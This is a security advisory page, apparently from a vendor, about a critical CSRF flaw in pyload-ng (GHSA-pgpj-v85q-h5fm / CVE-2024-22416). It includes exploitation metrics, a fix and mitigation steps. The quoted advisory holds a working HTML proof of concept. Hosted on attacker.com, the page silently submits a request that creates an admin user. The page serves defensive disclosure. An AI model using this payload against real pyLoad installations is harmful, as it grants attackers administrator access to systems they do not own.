NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
CRITICAL severity

Cross-Site Request Forgery on any API call in pyLoad may lead to admin privilege escalationGHSA-pgpj-v85q-h5fm

CRITICALFix: pyload/pyload@1374c82

GHSA-pgpj-v85q-h5fm is a critical-severity (CVSS 9.6) Cross-Site Request Forgery (CSRF) vulnerability in pyload-ng. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for pyload-ng — see the affected versions and patch details below.

Also known asCVE-2024-22416PYSEC-2024-17
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
1 known
Exploitation data as of Nov 10, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for GHSA-pgpj-v85q-h5fm.

EPSS Exploitation Probability

via FIRST.org ↗
0.9%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs61th percentile — riskier than 61% of all scored CVEsHighest risk
0.00%2.46%4.92%7.38%5.9%0.9%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐍pyload-ng

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The pyload API allows any API call to be made using GET requests. Since the session cookie is not set to SameSite: strict, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. This proof of concept shows how an unauthenticated user could trick the administrator's browser into creating a new admin user.

PoC

We host the following HTML file on an attacker-controlled server.

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://localhost:8000/api/add_user/%22hacker%22,%22hacker%22">
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

If we now trick an administrator into visiting our malicious page at https://attacker.com/CSRF.html, we see that their browser will make a request to /api/add_user/%22hacker%22,%22hacker%22, adding a new administrator to the pyload application. image

The attacker can now authenticate as this newly created administrator user with the username hacker and password hacker. image

Impact

Any API call can be made via a CSRF attack by an unauthenticated user.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpyload-ngall versions0.5.0b3.dev78pip install --upgrade 'pyload-ng==0.5.0b3.dev78'

Affected Products

1 product · 1 configurations
Application
pyload-ngpyload-ng_project
< 0.5.0b3.dev78
range
Exploits & PoCs
1

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pyload-ng, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update pyload-ng to 0.5.0b3.dev78 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-pgpj-v85q-h5fm is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

### Summary The `pyload` API allows any API call to be made using GET requests. Since the session cookie is not set to `SameSite: strict`, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. This proof of concept shows how an unauthenticated user could trick the administrator's browser into creating a new admin user. ### PoC We host the following HTML file on an attacker-controlled server. ```html <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="http://localhost:8000/api/add_user/%22hacker%22,%22h
O3 Security · Impact-Aware SCA

Is GHSA-pgpj-v85q-h5fm in your dependencies?

Find it across PyPI, including transitive dependencies.

Cross-Site Request Forgery on any API call in pyLoad may…